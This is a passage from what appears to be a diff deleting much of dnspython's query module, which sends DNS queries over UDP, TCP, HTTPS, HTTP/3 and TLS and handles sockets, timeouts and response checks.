= resolver - self._bootstrap_address = bootstrap_address - self._family = family - - def connect_tcp( - self, host, port, timeout=None, local_address=None, socket_options=None - ): # pylint: disable=signature-differs - addresses = [] - _, expiration = _compute_times(timeout) - if dns.inet.is_address(host): - addresses.append(host) - elif self._bootstrap_address is not None: - addresses.append(self._bootstrap_address) - else: - timeout = _remaining(expiration) - family = self._family - if local_address: - family = dns.inet.af_for_address(local_address) - answers = self._resolver.resolve_name( - host, family=family, lifetime=timeout - ) - addresses = answers.addresses() - for address in addresses: - af = dns.inet.af_for_address(address) - if local_address is not None or self._local_port != 0: - if local_address is None: - local_address = "0.0.0.0" - source = dns.inet.low_level_address_tuple( - (local_address, self._local_port), af - ) - else: - source = None - try: - sock = make_socket(af, socket.SOCK_STREAM, source) - attempt_expiration = _expiration_for_this_attempt(2.0, expiration) - _connect( - sock, - dns.inet.low_level_address_tuple((address, port), af), - attempt_expiration, - ) - return _CoreSyncStream(sock) - except Exception: - pass - raise httpcore.ConnectError - - def connect_unix_socket( - self, path, timeout=None, socket_options=None - ): # pylint: disable=signature-differs - raise NotImplementedError - - class _HTTPTransport(httpx.HTTPTransport): # pyright: ignore - def __init__( - self, - *args, - local_port=0, - bootstrap_address=None, - resolver=None, - family=socket.AF_UNSPEC, - **kwargs, - ): - if resolver is None and bootstrap_address is None: - # pylint: disable=import-outside-toplevel,redefined-outer-name - import dns.resolver - - resolver = dns.resolver.Resolver() - super().__init__(*args, **kwargs) - self._pool._network_backend = _NetworkBackend( - resolver, local_port, bootstrap_address, family - ) - -else: - - class _HTTPTransport: # type: ignore - def __init__( - self, - *args, - local_port=0, - bootstrap_address=None, - resolver=None, - family=socket.AF_UNSPEC, - **kwargs, - ): - pass - - def connect_tcp(self, host, port, timeout, local_address): - raise NotImplementedError - - -have_doh = _have_httpx - - -def default_socket_factory( - af: socket.AddressFamily | int, - kind: socket.SocketKind, - proto: int, -) -> socket.socket: - return socket.socket(af, kind, proto) - - -# Function used to create a socket. Can be overridden if needed in special -# situations. -socket_factory: Callable[ - [socket.AddressFamily | int, socket.SocketKind, int], socket.socket -] = default_socket_factory - - -class UnexpectedSource(dns.exception.DNSException): - """A DNS query response came from an unexpected address or port.""" - - -class BadResponse(dns.exception.FormError): - """A DNS query response does not respond to the question asked.""" - - -class NoDOH(dns.exception.DNSException): - """DNS over HTTPS (DOH) was requested but the httpx module is not - available.""" - - -class NoDOQ(dns.exception.DNSException): - """DNS over QUIC (DOQ) was requested but the aioquic module is not - available.""" - - -# for backwards compatibility -TransferError = dns.xfr.TransferError - - -def _compute_times(timeout): - now = time.time() - if timeout is None: - return (now, None) - else: - return (now, now + timeout) - - -def _wait_for(fd, readable, writable, _, expiration): - # Use the selected selector class to wait for any of the specified - # events. An "expiration" absolute time is converted into a relative - # timeout. - # - # The unused parameter is 'error', which is always set when - # selecting for read or write, and we have no error-only selects. - - if readable and isinstance(fd, ssl.SSLSocket) and fd.pending() > 0: - return True - with selectors.DefaultSelector() as sel: - events = 0 - if readable: - events |= selectors.EVENT_READ - if writable: - events |= selectors.EVENT_WRITE - if events: - sel.register(fd, events) # pyright: ignore - if expiration is None: - timeout = None - else: - timeout = expiration - time.time() - if timeout <= 0.0: - raise dns.exception.Timeout - if not sel.select(timeout): - raise dns.exception.Timeout - - -def _wait_for_readable(s, expiration): - _wait_for(s, True, False, True, expiration) - - -def _wait_for_writable(s, expiration): - _wait_for(s, False, True, True, expiration) - - -def _addresses_equal(af, a1, a2): - # Convert the first value of the tuple, which is a textual format - # address into binary form, so that we are not confused by different - # textual representations of the same address - try: - n1 = dns.inet.inet_pton(af, a1[0]) - n2 = dns.inet.inet_pton(af, a2[0]) - except dns.exception.SyntaxError: - return False - return n1 == n2 and a1[1:] == a2[1:] - - -def _matches_destination(af, from_address, destination, ignore_unexpected): - # Check that from_address is appropriate for a response to a query - # sent to destination. - if not destination: - return True - if _addresses_equal(af, from_address, destination) or ( - dns.inet.is_multicast(destination[0]) and from_address[1:] == destination[1:] - ): - return True - elif ignore_unexpected: - return False - raise UnexpectedSource( - f"got a response from {from_address} instead of " f"{destination}" - ) - - -def _destination_and_source( - where, port, source, source_port, where_must_be_address=True -): - # Apply defaults and compute destination and source tuples - # suitable for use in connect(), sendto(), or bind(). - af = None - destination = None - try: - af = dns.inet.af_for_address(where) - destination = where - except Exception: - if where_must_be_address: - raise - # URLs are ok so eat the exception - if source: - saf = dns.inet.af_for_address(source) - if af: - # We know the destination af, so source had better agree! - if saf != af: - raise ValueError( - "different address families for source and destination" - ) - else: - # We didn't know the destination af, but we know the source, - # so that's our af. - af = saf - if source_port and not source: - # Caller has specified a source_port but not an address, so we - # need to return a source, and we need to use the appropriate - # wildcard address as the address. - try: - source = dns.inet.any_for_af(af) - except Exception: - # we catch this and raise ValueError for backwards compatibility - raise ValueError("source_port specified but address family is unknown") - # Convert high-level (address, port) tuples into low-level address - # tuples. - if destination: - destination = dns.inet.low_level_address_tuple((destination, port), af) - if source: - source = dns.inet.low_level_address_tuple((source, source_port), af) - return (af, destination, source) - - -def make_socket( - af: socket.AddressFamily | int, - type: socket.SocketKind, - source: Any | None = None, -) -> socket.socket: - """Make a socket. - - This function uses the module's ``socket_factory`` to make a socket of the - specified address family and type. - - *af*, a ``socket.AddressFamily`` or ``int`` is the address family, either - ``socket.AF_INET`` or ``socket.AF_INET6``. - - *type*, a ``socket.SocketKind`` is the type of socket, e.g. ``socket.SOCK_DGRAM``, - a datagram socket, or ``socket.SOCK_STREAM``, a stream socket. Note that the - ``proto`` attribute of a socket is always zero with this API, so a datagram socket - will always be a UDP socket, and a stream socket will always be a TCP socket. - - *source* is the source address and port to bind to, if any. The default is - ``None`` which will bind to the wildcard address and a randomly chosen port. - If not ``None``, it should be a (low-level) address tuple appropriate for *af*. - """ - s = socket_factory(af, type, 0) - try: - s.setblocking(False) - if source is not None: - s.bind(source) - return s - except Exception: - s.close() - raise - - -def make_ssl_socket( - af: socket.AddressFamily | int, - type: socket.SocketKind, - ssl_context: ssl.SSLContext, - server_hostname: dns.name.Name | str | None = None, - source: Any | None = None, -) -> ssl.SSLSocket: - """Make a socket. - - This function uses the module's ``socket_factory`` to make a socket of the - specified address family and type. - - *af*, a ``socket.AddressFamily`` or ``int`` is the address family, either - ``socket.AF_INET`` or ``socket.AF_INET6``. - - *type*, a ``socket.SocketKind`` is the type of socket, e.g. ``socket.SOCK_DGRAM``, - a datagram socket, or ``socket.SOCK_STREAM``, a stream socket. Note that the - ``proto`` attribute of a socket is always zero with this API, so a datagram socket - will always be a UDP socket, and a stream socket will always be a TCP socket. - - If *ssl_context* is not ``None``, then it specifies the SSL context to use, - typically created with ``make_ssl_context()``. - - If *server_hostname* is not ``None``, then it is the hostname to use for server - certificate validation. A valid hostname must be supplied if *ssl_context* - requires hostname checking. - - *source* is the source address and port to bind to, if any. The default is - ``None`` which will bind to the wildcard address and a randomly chosen port. - If not ``None``, it should be a (low-level) address tuple appropriate for *af*. - """ - sock = make_socket(af, type, source) - if isinstance(server_hostname, dns.name.Name): - server_hostname = server_hostname.to_text() - # LGTM gets a false positive here, as our default context is OK - return ssl_context.wrap_socket( - sock, - do_handshake_on_connect=False, # lgtm[py/insecure-protocol] - server_hostname=server_hostname, - ) - - -# for backwards compatibility -def _make_socket( - af, - type, - source, - ssl_context, - server_hostname, -): - if ssl_context is not None: - return make_ssl_socket(af, type, ssl_context, server_hostname, source) - else: - return make_socket(af, type, source) - - -def _maybe_get_resolver( - resolver: Optional["dns.resolver.Resolver"], # pyright: ignore -) -> "dns.resolver.Resolver": # pyright: ignore - # We need a separate method for this to avoid overriding the global - # variable "dns" with the as-yet undefined local variable "dns" - # in https(). - if resolver is None: - # pylint: disable=import-outside-toplevel,redefined-outer-name - import dns.resolver - - resolver = dns.resolver.Resolver() - return resolver - - -class HTTPVersion(enum.IntEnum): - """Which version of HTTP should be used? - - DEFAULT will select the first version from the list [2, 1.1, 3] that - is available. - """ - - DEFAULT = 0 - HTTP_1 = 1 - H1 = 1 - HTTP_2 = 2 - H2 = 2 - HTTP_3 = 3 - H3 = 3 - - -def https( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 443, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - session: Any | None = None, - path: str = "/dns-query", - post: bool = True, - bootstrap_address: str | None = None, - verify: bool | str | ssl.SSLContext = True, - resolver: Optional["dns.resolver.Resolver"] = None, # pyright: ignore - family: int = socket.AF_UNSPEC, - http_version: HTTPVersion = HTTPVersion.DEFAULT, -) -> dns.message.Message: - """Return the response obtained after sending a query via DNS-over-HTTPS. - - *q*, a ``dns.message.Message``, the query to send. - - *where*, a ``str``, the nameserver IP address or the full URL. If an IP address is - given, the URL will be constructed using the following schema: - https://:/. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the query - times out. If ``None``, the default, wait forever. - - *port*, a ``int``, the port to send the query to. The default is 443. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying the source - address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. The default is - 0. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing junk at end of the - received message. - - *session*, an ``httpx.Client``. If provided, the client session to use to send the - queries. - - *path*, a ``str``. If *where* is an IP address, then *path* will be used to - construct the URL to send the DNS query to. - - *post*, a ``bool``. If ``True``, the default, POST method will be used. - - *bootstrap_address*, a ``str``, the IP address to use to bypass resolution. - - *verify*, a ``bool`` or ``str``. If a ``True``, then TLS certificate verification - of the server is done using the default CA bundle; if ``False``, then no - verification is done; if a `str` then it specifies the path to a certificate file or - directory which will be used for verification. - - *resolver*, a ``dns.resolver.Resolver`` or ``None``, the resolver to use for - resolution of hostnames in URLs. If not specified, a new resolver with a default - configuration will be used; note this is *not* the default resolver as that resolver - might have been configured to use DoH causing a chicken-and-egg problem. This - parameter only has an effect if the HTTP library is httpx. - - *family*, an ``int``, the address family. If socket.AF_UNSPEC (the default), both A - and AAAA records will be retrieved. - - *http_version*, a ``dns.query.HTTPVersion``, indicating which HTTP version to use. - - Returns a ``dns.message.Message``. - """ - - (af, _, the_source) = _destination_and_source( - where, port, source, source_port, False - ) - # we bind url and then override as pyright can't figure out all paths bind. - url = where - if af is not None and dns.inet.is_address(where): - if af == socket.AF_INET: - url = f"https://{where}:{port}{path}" - elif af == socket.AF_INET6: - url = f"https://[{where}]:{port}{path}" - - extensions = {} - if bootstrap_address is None: - # pylint: disable=possibly-used-before-assignment - parsed = urllib.parse.urlparse(url) - if parsed.hostname is None: - raise ValueError("no hostname in URL") - if dns.inet.is_address(parsed.hostname): - bootstrap_address = parsed.hostname - extensions["sni_hostname"] = parsed.hostname - if parsed.port is not None: - port = parsed.port - - if http_version == HTTPVersion.H3 or ( - http_version == HTTPVersion.DEFAULT and not have_doh - ): - if bootstrap_address is None: - resolver = _maybe_get_resolver(resolver) - assert parsed.hostname is not None # pyright: ignore - answers = resolver.resolve_name(parsed.hostname, family) # pyright: ignore - bootstrap_address = random.choice(list(answers.addresses())) - if session and not isinstance( - session, dns.quic.SyncQuicConnection - ): # pyright: ignore - raise ValueError("session parameter must be a dns.quic.SyncQuicConnection.") - return _http3( - q, - bootstrap_address, - url, # pyright: ignore - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - verify=verify, - post=post, - connection=session, - ) - - if not have_doh: - raise NoDOH # pragma: no cover - if session and not isinstance(session, httpx.Client): # pyright: ignore - raise ValueError("session parameter must be an httpx.Client") - - wire = q.to_wire() - headers = {"accept": "application/dns-message"} - - h1 = http_version in (HTTPVersion.H1, HTTPVersion.DEFAULT) - h2 = http_version in (HTTPVersion.H2, HTTPVersion.DEFAULT) - - # set source port and source address - - if the_source is None: - local_address = None - local_port = 0 - else: - local_address = the_source[0] - local_port = the_source[1] - - if session: - cm: contextlib.AbstractContextManager = contextlib.nullcontext(session) - else: - transport = _HTTPTransport( - local_address=local_address, - http1=h1, - http2=h2, - verify=verify, - local_port=local_port, - bootstrap_address=bootstrap_address, - resolver=resolver, - family=family, # pyright: ignore - ) - - cm = httpx.Client( # type: ignore - http1=h1, http2=h2, verify=verify, transport=transport # type: ignore - ) - with cm as session: - # see https://tools.ietf.org/html/rfc8484#section-4.1.1 for DoH - # GET and POST examples - assert session is not None - if post: - headers.update( - { - "content-type": "application/dns-message", - "content-length": str(len(wire)), - } - ) - response = session.post( - url, - headers=headers, - content=wire, - timeout=timeout, - extensions=extensions, - ) - else: - wire = base64.urlsafe_b64encode(wire).rstrip(b"=") - twire = wire.decode() # httpx does a repr() if we give it bytes - response = session.get( - url, - headers=headers, - timeout=timeout, - params={"dns": twire}, - extensions=extensions, - ) - - # see https://tools.ietf.org/html/rfc8484#section-4.2.1 for info about DoH - # status codes - if response.status_code < 200 or response.status_code > 299: - raise ValueError( - f"{where} responded with status code {response.status_code}" - f"\nResponse body: {response.content}" - ) - r = dns.message.from_wire( - response.content, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = response.elapsed.total_seconds() - if not q.is_response(r): - raise BadResponse - return r - - -def _find_header(headers: dns.quic.Headers, name: bytes) -> bytes: - if headers is None: - raise KeyError - for header, value in headers: - if header == name: - return value - raise KeyError - - -def _check_status(headers: dns.quic.Headers, peer: str, wire: bytes) -> None: - value = _find_header(headers, b":status") - if value is None: - raise SyntaxError("no :status header in response") - status = int(value) - if status < 0: - raise SyntaxError("status is negative") - if status < 200 or status > 299: - error = "" - if len(wire) > 0: - try: - error = ": " + wire.decode() - except Exception: - pass - raise ValueError(f"{peer} responded with status code {status}{error}") - - -def _http3( - q: dns.message.Message, - where: str, - url: str, - timeout: float | None = None, - port: int = 443, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - verify: bool | str | ssl.SSLContext = True, - post: bool = True, - connection: dns.quic.SyncQuicConnection | None = None, -) -> dns.message.Message: - if not dns.quic.have_quic: - raise NoDOH("DNS-over-HTTP3 is not available.") # pragma: no cover - - url_parts = urllib.parse.urlparse(url) - hostname = url_parts.hostname - assert hostname is not None - if url_parts.port is not None: - port = url_parts.port - - q.id = 0 - wire = q.to_wire() - the_connection: dns.quic.SyncQuicConnection - the_manager: dns.quic.SyncQuicManager - if connection: - manager: contextlib.AbstractContextManager = contextlib.nullcontext(None) - else: - manager = dns.quic.SyncQuicManager( - verify_mode=verify, server_name=hostname, h3=True # pyright: ignore - ) - the_manager = manager # for type checking happiness - - with manager: - if connection: - the_connection = connection - else: - the_connection = the_manager.connect( # pyright: ignore - where, port, source, source_port - ) - (start, expiration) = _compute_times(timeout) - with the_connection.make_stream(timeout) as stream: # pyright: ignore - stream.send_h3(url, wire, post) - wire = stream.receive(_remaining(expiration)) - _check_status(stream.headers(), where, wire) - finish = time.time() - r = dns.message.from_wire( - wire, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = max(finish - start, 0.0) - if not q.is_response(r): - raise BadResponse - return r - - -def _udp_recv(sock, max_size, expiration): - """Reads a datagram from the socket. - A Timeout exception will be raised if the operation is not completed - by the expiration time. - """ - while True: - try: - return sock.recvfrom(max_size) - except BlockingIOError: - _wait_for_readable(sock, expiration) - - -def _udp_send(sock, data, destination, expiration): - """Sends the specified datagram to destination over the socket. - A Timeout exception will be raised if the operation is not completed - by the expiration time. - """ - while True: - try: - if destination: - return sock.sendto(data, destination) - else: - return sock.send(data) - except BlockingIOError: # pragma: no cover - _wait_for_writable(sock, expiration) - - -def send_udp( - sock: Any, - what: dns.message.Message | bytes, - destination: Any, - expiration: float | None = None, -) -> Tuple[int, float]: - """Send a DNS message to the specified UDP socket. - - *sock*, a ``socket``. - - *what*, a ``bytes`` or ``dns.message.Message``, the message to send. - - *destination*, a destination tuple appropriate for the address family - of the socket, specifying where to send the query. - - *expiration*, a ``float`` or ``None``, the absolute time at which - a timeout exception should be raised. If ``None``, no timeout will - occur. - - Returns an ``(int, float)`` tuple of bytes sent and the sent time. - """ - - if isinstance(what, dns.message.Message): - what = what.to_wire() - sent_time = time.time() - n = _udp_send(sock, what, destination, expiration) - return (n, sent_time) - - -def receive_udp( - sock: Any, - destination: Any | None = None, - expiration: float | None = None, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - keyring: Dict[dns.name.Name, dns.tsig.Key] | None = None, - request_mac: bytes | None = b"", - ignore_trailing: bool = False, - raise_on_truncation: bool = False, - ignore_errors: bool = False, - query: dns.message.Message | None = None, -) -> Any: - """Read a DNS message from a UDP socket. - - *sock*, a ``socket``. - - *destination*, a destination tuple appropriate for the address family - of the socket, specifying where the message is expected to arrive from. - When receiving a response, this would be where the associated query was - sent. - - *expiration*, a ``float`` or ``None``, the absolute time at which - a timeout exception should be raised. If ``None``, no timeout will - occur. - - *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from - unexpected sources. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own - RRset. - - *keyring*, a ``dict``, the keyring to use for TSIG. - - *request_mac*, a ``bytes`` or ``None``, the MAC of the request (for TSIG). - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing - junk at end of the received message. - - *raise_on_truncation*, a ``bool``. If ``True``, raise an exception if - the TC bit is set. - - Raises if the message is malformed, if network errors occur, of if - there is a timeout. - - If *destination* is not ``None``, returns a ``(dns.message.Message, float)`` - tuple of the received message and the received time. - - If *destination* is ``None``, returns a - ``(dns.message.Message, float, tuple)`` - tuple of the received message, the received time, and the address where - the message arrived from. - - *ignore_errors*, a ``bool``. If various format errors or response - mismatches occur, ignore them and keep listening for a valid response. - The default is ``False``. - - *query*, a ``dns.message.Message`` or ``None``. If not ``None`` and - *ignore_errors* is ``True``, check that the received message is a response - to this query, and if not keep listening for a valid response. - """ - - wire = b"" - while True: - (wire, from_address) = _udp_recv(sock, 65535, expiration) - if not _matches_destination( - sock.family, from_address, destination, ignore_unexpected - ): - continue - received_time = time.time() - try: - r = dns.message.from_wire( - wire, - keyring=keyring, - request_mac=request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - raise_on_truncation=raise_on_truncation, - ) - except dns.message.Truncated as e: - # If we got Truncated and not FORMERR, we at least got the header with TC - # set, and very likely the question section, so we'll re-raise if the - # message seems to be a response as we need to know when truncation happens. - # We need to check that it seems to be a response as we don't want a random - # injected message with TC set to cause us to bail out. - if ( - ignore_errors - and query is not None - and not query.is_response(e.message()) - ): - continue - else: - raise - except Exception: - if ignore_errors: - continue - else: - raise - if ignore_errors and query is not None and not query.is_response(r): - continue - if destination: - return (r, received_time) - else: - return (r, received_time, from_address) - - -def udp( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - raise_on_truncation: bool = False, - sock: Any | None = None, - ignore_errors: bool = False, -) -> dns.message.Message: - """Return the response obtained after sending a query via UDP. - - *q*, a ``dns.message.Message``, the query to send - - *where*, a ``str`` containing an IPv4 or IPv6 address, where - to send the message. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the - query times out. If ``None``, the default, wait forever. - - *port*, an ``int``, the port send the message to. The default is 53. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying - the source address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. - The default is 0. - - *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from - unexpected sources. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own - RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing - junk at end of the received message. - - *raise_on_truncation*, a ``bool``. If ``True``, raise an exception if - the TC bit is set. - - *sock*, a ``socket.socket``, or ``None``, the socket to use for the - query. If ``None``, the default, a socket is created. Note that - if a socket is provided, it must be a nonblocking datagram socket, - and the *source* and *source_port* are ignored. - - *ignore_errors*, a ``bool``. If various format errors or response - mismatches occur, ignore them and keep listening for a valid response. - The default is ``False``. - - Returns a ``dns.message.Message``. - """ - - wire = q.to_wire() - (af, destination, source) = _destination_and_source( - where, port, source, source_port, True - ) - (begin_time, expiration) = _compute_times(timeout) - if sock: - cm: contextlib.AbstractContextManager = contextlib.nullcontext(sock) - else: - assert af is not None - cm = make_socket(af, socket.SOCK_DGRAM, source) - with cm as s: - send_udp(s, wire, destination, expiration) - (r, received_time) = receive_udp( - s, - destination, - expiration, - ignore_unexpected, - one_rr_per_rrset, - q.keyring, - q.mac, - ignore_trailing, - raise_on_truncation, - ignore_errors, - q, - ) - r.time = received_time - begin_time - # We don't need to check q.is_response() if we are in ignore_errors mode - # as receive_udp() will have checked it. - if not (ignore_errors or q.is_response(r)): - raise BadResponse - return r - assert ( - False # help mypy figure out we can't get here lgtm[py/unreachable-statement] - ) - - -def udp_with_fallback( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - udp_sock: Any | None = None, - tcp_sock: Any | None = None, - ignore_errors: bool = False, -) -> Tuple[dns.message.Message, bool]: - """Return the response to the query, trying UDP first and falling back - to TCP if UDP results in a truncated response. - - *q*, a ``dns.message.Message``, the query to send - - *where*, a ``str`` containing an IPv4 or IPv6 address, where to send the message. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the query - times out. If ``None``, the default, wait forever. - - *port*, an ``int``, the port send the message to. The default is 53. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying the source - address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. The default is - 0. - - *ignore_unexpected*, a ``bool``. If ``True``, ignore responses from unexpected - sources. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing junk at end of the - received message. - - *udp_sock*, a ``socket.socket``, or ``None``, the socket to use for the UDP query. - If ``None``, the default, a socket is created. Note that if a socket is provided, - it must be a nonblocking datagram socket, and the *source* and *source_port* are - ignored for the UDP query. - - *tcp_sock*, a ``socket.socket``, or ``None``, the connected socket to use for the - TCP query. If ``None``, the default, a socket is created. Note that if a socket is - provided, it must be a nonblocking connected stream socket, and *where*, *source* - and *source_port* are ignored for the TCP query. - - *ignore_errors*, a ``bool``. If various format errors or response mismatches occur - while listening for UDP, ignore them and keep listening for a valid response. The - default is ``False``. - - Returns a (``dns.message.Message``, tcp) tuple where tcp is ``True`` if and only if - TCP was used. - """ - try: - response = udp( - q, - where, - timeout, - port, - source, - source_port, - ignore_unexpected, - one_rr_per_rrset, - ignore_trailing, - True, - udp_sock, - ignore_errors, - ) - return (response, False) - except dns.message.Truncated: - response = tcp( - q, - where, - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - tcp_sock, - ) - return (response, True) - - -def _net_read(sock, count, expiration): - """Read the specified number of bytes from sock. Keep trying until we - either get the desired amount, or we hit EOF. - A Timeout exception will be raised if the operation is not completed - by the expiration time. - """ - s = b"" - while count > 0: - try: - n = sock.recv(count) - if n == b"": - raise EOFError("EOF") - count -= len(n) - s += n - except (BlockingIOError, ssl.SSLWantReadError): - _wait_for_readable(sock, expiration) - except ssl.SSLWantWriteError: # pragma: no cover - _wait_for_writable(sock, expiration) - return s - - -def _net_write(sock, data, expiration): - """Write the specified data to the socket. - A Timeout exception will be raised if the operation is not completed - by the expiration time. - """ - current = 0 - l = len(data) - while current < l: - try: - current += sock.send(data[current:]) - except (BlockingIOError, ssl.SSLWantWriteError): - _wait_for_writable(sock, expiration) - except ssl.SSLWantReadError: # pragma: no cover - _wait_for_readable(sock, expiration) - - -def send_tcp( - sock: Any, - what: dns.message.Message | bytes, - expiration: float | None = None, -) -> Tuple[int, float]: - """Send a DNS message to the specified TCP socket. - - *sock*, a ``socket``. - - *what*, a ``bytes`` or ``dns.message.Message``, the message to send. - - *expiration*, a ``float`` or ``None``, the absolute time at which - a timeout exception should be raised. If ``None``, no timeout will - occur. - - Returns an ``(int, float)`` tuple of bytes sent and the sent time. - """ - - if isinstance(what, dns.message.Message): - tcpmsg = what.to_wire(prepend_length=True) - else: - # copying the wire into tcpmsg is inefficient, but lets us - # avoid writev() or doing a short write that would get pushed - # onto the net - tcpmsg = len(what).to_bytes(2, "big") + what - sent_time = time.time() - _net_write(sock, tcpmsg, expiration) - return (len(tcpmsg), sent_time) - - -def receive_tcp( - sock: Any, - expiration: float | None = None, - one_rr_per_rrset: bool = False, - keyring: Dict[dns.name.Name, dns.tsig.Key] | None = None, - request_mac: bytes | None = b"", - ignore_trailing: bool = False, -) -> Tuple[dns.message.Message, float]: - """Read a DNS message from a TCP socket. - - *sock*, a ``socket``. - - *expiration*, a ``float`` or ``None``, the absolute time at which - a timeout exception should be raised. If ``None``, no timeout will - occur. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own - RRset. - - *keyring*, a ``dict``, the keyring to use for TSIG. - - *request_mac*, a ``bytes`` or ``None``, the MAC of the request (for TSIG). - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing - junk at end of the received message. - - Raises if the message is malformed, if network errors occur, of if - there is a timeout. - - Returns a ``(dns.message.Message, float)`` tuple of the received message - and the received time. - """ - - ldata = _net_read(sock, 2, expiration) - (l,) = struct.unpack("!H", ldata) - wire = _net_read(sock, l, expiration) - received_time = time.time() - r = dns.message.from_wire( - wire, - keyring=keyring, - request_mac=request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - return (r, received_time) - - -def _connect(s, address, expiration): - err = s.connect_ex(address) - if err == 0: - return - if err in (errno.EINPROGRESS, errno.EWOULDBLOCK, errno.EALREADY): - _wait_for_writable(s, expiration) - err = s.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) - if err != 0: - raise OSError(err, os.strerror(err)) - - -def tcp( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - sock: Any | None = None, -) -> dns.message.Message: - """Return the response obtained after sending a query via TCP. - - *q*, a ``dns.message.Message``, the query to send - - *where*, a ``str`` containing an IPv4 or IPv6 address, where - to send the message. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the - query times out. If ``None``, the default, wait forever. - - *port*, an ``int``, the port send the message to. The default is 53. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying - the source address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. - The default is 0. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own - RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing - junk at end of the received message. - - *sock*, a ``socket.socket``, or ``None``, the connected socket to use for the - query. If ``None``, the default, a socket is created. Note that - if a socket is provided, it must be a nonblocking connected stream - socket, and *where*, *port*, *source* and *source_port* are ignored. - - Returns a ``dns.message.Message``. - """ - - wire = q.to_wire() - (begin_time, expiration) = _compute_times(timeout) - if sock: - cm: contextlib.AbstractContextManager = contextlib.nullcontext(sock) - else: - (af, destination, source) = _destination_and_source( - where, port, source, source_port, True - ) - assert af is not None - cm = make_socket(af, socket.SOCK_STREAM, source) - with cm as s: - if not sock: - # pylint: disable=possibly-used-before-assignment - _connect(s, destination, expiration) # pyright: ignore - send_tcp(s, wire, expiration) - (r, received_time) = receive_tcp( - s, expiration, one_rr_per_rrset, q.keyring, q.mac, ignore_trailing - ) - r.time = received_time - begin_time - if not q.is_response(r): - raise BadResponse - return r - assert ( - False # help mypy figure out we can't get here lgtm[py/unreachable-statement] - ) - - -def _tls_handshake(s, expiration): - while True: - try: - s.do_handshake() - return - except ssl.SSLWantReadError: - _wait_for_readable(s, expiration) - except ssl.SSLWantWriteError: # pragma: no cover - _wait_for_writable(s, expiration) - - -def make_ssl_context( - verify: bool | str = True, - check_hostname: bool = True, - alpns: list[str] | None = None, -) -> ssl.SSLContext: - """Make an SSL context - - If *verify* is ``True``, the default, then certificate verification will occur using - the standard CA roots. If *verify* is ``False``, then certificate verification will - be disabled. If *verify* is a string which is a valid pathname, then if the - pathname is a regular file, the CA roots will be taken from the file, otherwise if - the pathname is a directory roots will be taken from the directory. - - If *check_hostname* is ``True``, the default, then the hostname of the server must - be specified when connecting and the server's certificate must authorize the - hostname. If ``False``, then hostname checking is disabled. - - *aplns* is ``None`` or a list of TLS ALPN (Application Layer Protocol Negotiation) - strings to use in negotiation. For DNS-over-TLS, the right value is `["dot"]`. - """ - cafile, capath = dns._tls_util.convert_verify_to_cafile_and_capath(verify) - ssl_context = ssl.create_default_context(cafile=cafile, capath=capath) - # the pyright ignores below are because it gets confused between the - # _no_ssl compatibility types and the real ones. - ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2 # type: ignore - ssl_context.check_hostname = check_hostname - if verify is False: - ssl_context.verify_mode = ssl.CERT_NONE # type: ignore - if alpns is not None: - ssl_context.set_alpn_protocols(alpns) - return ssl_context # type: ignore - - -# for backwards compatibility -def _make_dot_ssl_context( - server_hostname: str | None, verify: bool | str -) -> ssl.SSLContext: - return make_ssl_context(verify, server_hostname is not None, ["dot"]) - - -def tls( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 853, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - sock: ssl.SSLSocket | None = None, - ssl_context: ssl.SSLContext | None = None, - server_hostname: str | None = None, - verify: bool | str = True, -) -> dns.message.Message: - 